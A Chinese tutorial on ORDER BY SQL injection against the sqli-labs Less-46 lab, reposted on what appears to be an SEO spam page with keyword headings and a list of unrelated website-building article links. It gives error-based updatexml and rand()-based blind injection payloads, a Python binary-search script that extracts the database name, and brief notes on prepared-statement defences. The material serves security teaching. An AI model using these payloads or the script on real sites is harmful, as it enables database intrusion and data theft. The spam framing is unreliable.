当前位置: 首页 > news >正文

山东高密网站建设潍坊seo

山东高密网站建设,潍坊seo,中国新闻社和新华社有什么区别,山东泰安网络推广一、环境 网上有自己找 二、解释 order by 注入我们看他的true和false来进行注入出来 二、实操 让我们用sort 看看源码 最终我们的id是放到order by后面了 如果我们直接用列去排序 ?sortusername/password username: password: 可以看到顺序是不…

一、环境

网上有自己找

二、解释

order by 注入我们看他的true和false来进行注入出来

二、实操

让我们用sort

看看源码

最终我们的id是放到order by后面了

如果我们直接用列去排序

?sort=username/password

 username:

password:

 可以看到顺序是不同的,当然第一列第二列第三列也可以,基本上都是这个原理,那怎么去实现注入呢,我们主要是通过rand()去实现一个盲注或者报错注入(如果打印报错)

报错注入;真的走第一个错的走第二个我们想走第二个,这样就可以实现

?sort=updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)

那如果是盲注的话,写true和false排序是不同的,所有我们可不可以用rand去进行排序

?sort=rand(ascii(mid((select%20database()),1,1))>114)

 很明显ok的,转为ascii码来比较真假,为真为假是两种表现方式如下,假如说上面的报错被屏蔽了,我们就没办法了,那我们通过rand也可以,那为真为假是我们爬取的一个重要标识

我们通过找第一个字段,来爬取判断,为真的话是admin3,因为布尔true=3

 python脚本

# -*- coding:utf-8 -*-
"""
@Author: lingchenwudiandexing
@contact: 3131579667@qq.com
@Time: 2024/2/25 16:31
@version: 1.0
"""
import requests
import time
from bs4 import BeautifulSoup"""
查表名
查列名
查具体字段内容
if(ascii(substr(database(),1,1))>100,%20sleep(3),%200)--+
if(ascii(substr(database(),1,1))>110, sleep(3), 0)
"""
def inject_database(url):name = ''for i in range(1, 100):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(mid((select database()),%d,1)) > %d)" % (i, mid)res = {"sort": payload}r = requests.post(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getUsername = soup.find_all('td')[1].textif getUsername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)if __name__ == "__main__":url = 'http://127.0.0.1/sqli/Less-46/index.php'inject_database(url)

正确后我们通过查表查库查字段出结果:

三、如何防御

防御机制:

PDO预编译:

模拟编译:

PHP的底层把单引号自动转译,但是遇见宽字节会失效,但是遇见真实的预编译这里就不会失效,

真实编译:

如果在预编译的形势下,还是用拼接传递参数,那么预编译不会生效,order by后面本身会存在注入点,但是预编译情况下,没有办法在order by后面实现预编译,如果想功能正常,还是得用拼接的方法去使用,这种情况下也有可能实现sql注入

 

http://www.laogonggong.com/news/58185.html

相关文章:

  • 财政局网站开发合同备案 网站名字
  • 免费行业报告网站广州网站建设外贸
  • 备案网站 备注内容w网站建设需求说明
  • 口碑好的南昌网站建设手表二级市场网站
  • 网站开发预算普通网站 多大空间
  • 申请完域名怎么做网站网站备案前置审批表
  • tk网站的dns修改网站的pv统计功能怎样做
  • 备案系统网站之路网站建设
  • wordpress企业网站制作wordpress查看分类id
  • 公司网站域名com好还是cn好做外贸业务去哪些网站
  • 网站建设网站制作有限旅行社网站规划与建设的流程
  • 免费建设网站和域名江苏网站建设哪家专业
  • 现在建设网站都用什么软件公司网站建设开发方案
  • 自建网站平台哪个好益阳建站网站制作
  • 网站建设的主要功能有哪些网站优化 前端怎么做
  • 做西点网站各大网站大全
  • 石家庄哪家公司做网站好网络推广方案
  • 广州小型网站建设公司北京住房城乡建设厅网站
  • 建设网站有什么网站地推的方法和技巧
  • 网站开发公司 logo郭仓镇做网站
  • 做电影采集网站用什么vps网站域名有什么用
  • 致力于邯郸网站建设制作服务_使众多客户将网站转化为网络市场营销.怎么在企查查网站做企业认证
  • 免费的网站推广软件wordpress js 统计
  • 有没有专业做挂的网站吗郑州地区网站建设公司
  • 公司网站开发多少钱网站空间续费多钱一年
  • 网站弹出框怎么做国外做饮用来源的网站
  • 杭州企业网站制作公司企业网站源码系统
  • 台州网站排名优化费用运营个网站需要什么条件
  • 网站页面建设需要ps吗网站开发中网页之间的链接形式
  • 要建设一个网站需要准备些什么运行一个网站要多少钱